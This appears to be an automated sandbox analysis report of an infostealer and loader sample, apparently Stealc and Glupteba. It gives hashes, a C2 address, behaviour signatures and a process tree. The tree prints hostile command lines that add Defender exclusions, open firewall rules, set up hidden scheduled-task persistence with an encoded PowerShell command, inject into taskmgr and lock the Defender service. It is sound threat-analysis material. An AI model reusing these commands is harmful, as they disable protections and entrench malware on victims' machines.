Analysis

  • max time kernel
    113s
  • max time network
    174s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-03-2024 12:58

General

  • Target

    ed11cc480d00d3cc295fb67628c51bf406b0dfd41bc6cdd4bc594020c4689fae.exe

  • Size

    395KB

  • MD5

    47ca0c7940583630b294c30a8e1960b2

  • SHA1

    50978f49401da7fbbc8b9b4706262e5bcb6afd51

  • SHA256

    ed11cc480d00d3cc295fb67628c51bf406b0dfd41bc6cdd4bc594020c4689fae

  • SHA512

    dcade30e9f8564a6291a68669b683d3be6bc71a62389004efb7424ab2231c9b92f17d2939c7e56eb6634b76305ed5e7b10f2f6de9341953c47adbd6bccfea8e9

  • SSDEEP

    12288:Vmz6kx6tp09A/b07Un67M8RW9FjSUzkvO9Vj:VG6kxy6S/b0Ingg9954G9V

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 15 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Stealc

    Stealc is an infostealer written in C++.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 3 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 3 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 10 IoCs
  • Executes dropped EXE 23 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 10 IoCs

    Detects Themida, an advanced Windows software protection system.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2424
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5568
    • C:\Users\Admin\AppData\Local\Temp\ed11cc480d00d3cc295fb67628c51bf406b0dfd41bc6cdd4bc594020c4689fae.exe
      "C:\Users\Admin\AppData\Local\Temp\ed11cc480d00d3cc295fb67628c51bf406b0dfd41bc6cdd4bc594020c4689fae.exe"
      1⤵
      • UAC bypass
      • Windows security bypass
      • Checks computer location settings
      • Windows security modification
      • Checks whether UAC is enabled
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ed11cc480d00d3cc295fb67628c51bf406b0dfd41bc6cdd4bc594020c4689fae.exe" -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2844
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        2⤵
          PID:2152
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
          2⤵
            PID:2816
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
            2⤵
              PID:3552
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
              2⤵
              • Checks computer location settings
              • Drops startup file
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3380
              • C:\Users\Admin\Pictures\dGRFal8qQzpgtFutf7LbHsxR.exe
                "C:\Users\Admin\Pictures\dGRFal8qQzpgtFutf7LbHsxR.exe"
                3⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1672
                • C:\Users\Admin\AppData\Local\Temp\u1ag.0.exe
                  "C:\Users\Admin\AppData\Local\Temp\u1ag.0.exe"
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  • Suspicious behavior: EnumeratesProcesses
                  PID:820
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\HDGDHCGCBK.exe"
                    5⤵
                      PID:5264
                      • C:\Users\Admin\AppData\Local\Temp\HDGDHCGCBK.exe
                        "C:\Users\Admin\AppData\Local\Temp\HDGDHCGCBK.exe"
                        6⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:5628
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\HDGDHCGCBK.exe
                          7⤵
                            PID:4668
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 2.2.2.2 -n 1 -w 3000
                              8⤵
                              • Runs ping.exe
                              PID:3084
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 820 -s 3268
                        5⤵
                        • Program crash
                        PID:5952
                    • C:\Users\Admin\AppData\Local\Temp\u1ag.1.exe
                      "C:\Users\Admin\AppData\Local\Temp\u1ag.1.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:4956
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                        5⤵
                          PID:5432
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 1251
                            6⤵
                              PID:5880
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                              6⤵
                              • Creates scheduled task(s)
                              PID:6004
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1672 -s 1556
                          4⤵
                          • Program crash
                          PID:3080
                      • C:\Users\Admin\Pictures\HJcsbqzHq8hiX6npx01bsD0k.exe
                        "C:\Users\Admin\Pictures\HJcsbqzHq8hiX6npx01bsD0k.exe"
                        3⤵
                        • Executes dropped EXE
                        PID:2696
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:6040
                        • C:\Users\Admin\Pictures\HJcsbqzHq8hiX6npx01bsD0k.exe
                          "C:\Users\Admin\Pictures\HJcsbqzHq8hiX6npx01bsD0k.exe"
                          4⤵
                            PID:5904
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              5⤵
                                PID:4988
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                5⤵
                                  PID:3460
                                  • C:\Windows\system32\netsh.exe
                                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                    6⤵
                                    • Modifies Windows Firewall
                                    PID:5744
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  5⤵
                                    PID:1980
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -nologo -noprofile
                                    5⤵
                                      PID:2208
                                • C:\Users\Admin\Pictures\gOQS8nuAiujAwUuADEy77FZC.exe
                                  "C:\Users\Admin\Pictures\gOQS8nuAiujAwUuADEy77FZC.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:2772
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -nologo -noprofile
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:6032
                                  • C:\Users\Admin\Pictures\gOQS8nuAiujAwUuADEy77FZC.exe
                                    "C:\Users\Admin\Pictures\gOQS8nuAiujAwUuADEy77FZC.exe"
                                    4⤵
                                      PID:5852
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        5⤵
                                          PID:5776
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                          5⤵
                                            PID:5520
                                            • C:\Windows\system32\netsh.exe
                                              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                              6⤵
                                              • Modifies Windows Firewall
                                              PID:6080
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            5⤵
                                              PID:5760
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              5⤵
                                                PID:6116
                                          • C:\Users\Admin\Pictures\9J0qa6e7aiaDLK5JDqoWIdOI.exe
                                            "C:\Users\Admin\Pictures\9J0qa6e7aiaDLK5JDqoWIdOI.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            • Suspicious use of WriteProcessMemory
                                            PID:4988
                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                              4⤵
                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4812
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 632
                                                5⤵
                                                • Program crash
                                                PID:5728
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 644
                                                5⤵
                                                • Program crash
                                                PID:5144
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 872
                                              4⤵
                                              • Program crash
                                              PID:3852
                                          • C:\Users\Admin\Pictures\qwm9RVjuf5jbu5aLONlULih1.exe
                                            "C:\Users\Admin\Pictures\qwm9RVjuf5jbu5aLONlULih1.exe"
                                            3⤵
                                            • Modifies firewall policy service
                                            • Windows security bypass
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Windows security modification
                                            • Checks whether UAC is enabled
                                            • Drops file in System32 directory
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:3420
                                          • C:\Users\Admin\Pictures\8CLOmIiMrlPxKA256rlqHgAu.exe
                                            "C:\Users\Admin\Pictures\8CLOmIiMrlPxKA256rlqHgAu.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:1556
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              4⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:6048
                                            • C:\Users\Admin\Pictures\8CLOmIiMrlPxKA256rlqHgAu.exe
                                              "C:\Users\Admin\Pictures\8CLOmIiMrlPxKA256rlqHgAu.exe"
                                              4⤵
                                                PID:1012
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -nologo -noprofile
                                                  5⤵
                                                    PID:4080
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                    5⤵
                                                      PID:1672
                                                      • C:\Windows\system32\netsh.exe
                                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                        6⤵
                                                        • Modifies Windows Firewall
                                                        PID:5732
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -nologo -noprofile
                                                      5⤵
                                                        PID:5452
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -nologo -noprofile
                                                        5⤵
                                                          PID:6084
                                                        • C:\Windows\rss\csrss.exe
                                                          C:\Windows\rss\csrss.exe
                                                          5⤵
                                                            PID:6056
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -nologo -noprofile
                                                              6⤵
                                                                PID:5512
                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                6⤵
                                                                • Creates scheduled task(s)
                                                                PID:5196
                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                schtasks /delete /tn ScheduledUpdate /f
                                                                6⤵
                                                                  PID:5704
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -nologo -noprofile
                                                                  6⤵
                                                                    PID:5728
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -nologo -noprofile
                                                                    6⤵
                                                                      PID:5292
                                                                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                                      6⤵
                                                                        PID:5140
                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                        6⤵
                                                                        • Creates scheduled task(s)
                                                                        PID:4372
                                                                      • C:\Windows\windefender.exe
                                                                        "C:\Windows\windefender.exe"
                                                                        6⤵
                                                                          PID:3220
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                            7⤵
                                                                              PID:1112
                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                                8⤵
                                                                                • Launches sc.exe
                                                                                PID:4668
                                                                    • C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe
                                                                      "C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe" --silent --allusers=0
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      • Enumerates connected drives
                                                                      • Modifies system certificate store
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:1308
                                                                      • C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe
                                                                        C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.33 --initial-client-data=0x298,0x29c,0x2a0,0x274,0x2a4,0x6f66e1a8,0x6f66e1b4,0x6f66e1c0
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        PID:888
                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\LfewfClIhATqHqW1CxsJIhoA.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\LfewfClIhATqHqW1CxsJIhoA.exe" --version
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        PID:4820
                                                                      • C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe
                                                                        "C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1308 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240328125931" --session-guid=e2d223d4-5c1c-42e9-b90e-18b38193d849 --server-tracking-blob=OWJmNTFiYTI0NWJlZWIzYzQyYzI4NDFhOGQxZDdlYmE1ZjQyNTM2NTIxMTdkNjc5ZjJiMzA2MDhkOTFiYTQ2MTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTE2MzA3NjYuOTA1MSIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjM1MTBlNjg0LWE0Y2ItNDU0NC05ODkxLWE2MjI2OTFkNjc1ZiJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3C05000000000000
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        • Enumerates connected drives
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:2996
                                                                        • C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe
                                                                          C:\Users\Admin\Pictures\LfewfClIhATqHqW1CxsJIhoA.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.33 --initial-client-data=0x2a4,0x2a8,0x2ac,0x274,0x2b0,0x6e04e1a8,0x6e04e1b4,0x6e04e1c0
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          PID:3916
                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:5780
                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\assistant_installer.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\assistant_installer.exe" --version
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        PID:4420
                                                                        • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\assistant_installer.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x5c0040,0x5c004c,0x5c0058
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          PID:1440
                                                                    • C:\Users\Admin\Pictures\9As7Ub276Pn8UYWeX7WAnwst.exe
                                                                      "C:\Users\Admin\Pictures\9As7Ub276Pn8UYWeX7WAnwst.exe"
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      PID:5368
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS6EB3.tmp\Install.exe
                                                                        .\Install.exe
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:5788
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8AD6.tmp\Install.exe
                                                                          .\Install.exe /WZFcdidyRl "385118" /S
                                                                          5⤵
                                                                          • Checks BIOS information in registry
                                                                          • Checks computer location settings
                                                                          • Executes dropped EXE
                                                                          • Drops file in System32 directory
                                                                          • Enumerates system info in registry
                                                                          PID:5864
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                            6⤵
                                                                              PID:5512
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                7⤵
                                                                                  PID:3676
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                    8⤵
                                                                                      PID:5880
                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                      8⤵
                                                                                        PID:5940
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                    6⤵
                                                                                      PID:4140
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                        7⤵
                                                                                          PID:2392
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                            8⤵
                                                                                              PID:5264
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                              8⤵
                                                                                                PID:5580
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /CREATE /TN "gcJakxJLt" /SC once /ST 08:15:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                            6⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:5384
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /run /I /tn "gcJakxJLt"
                                                                                            6⤵
                                                                                              PID:488
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              schtasks /DELETE /F /TN "gcJakxJLt"
                                                                                              6⤵
                                                                                                PID:5148
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 13:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\WoogSGn.exe\" id /Vfsite_idZiD 385118 /S" /V1 /F
                                                                                                6⤵
                                                                                                • Drops file in Windows directory
                                                                                                • Creates scheduled task(s)
                                                                                                PID:5880
                                                                                        • C:\Users\Admin\Pictures\5TVfzHVntQFq0XimVhZ7m8WF.exe
                                                                                          "C:\Users\Admin\Pictures\5TVfzHVntQFq0XimVhZ7m8WF.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5376
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS6F3F.tmp\Install.exe
                                                                                            .\Install.exe
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5796
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSA38E.tmp\Install.exe
                                                                                              .\Install.exe /WZFcdidyRl "385118" /S
                                                                                              5⤵
                                                                                              • Checks BIOS information in registry
                                                                                              • Checks computer location settings
                                                                                              • Executes dropped EXE
                                                                                              • Drops file in System32 directory
                                                                                              • Enumerates system info in registry
                                                                                              PID:1400
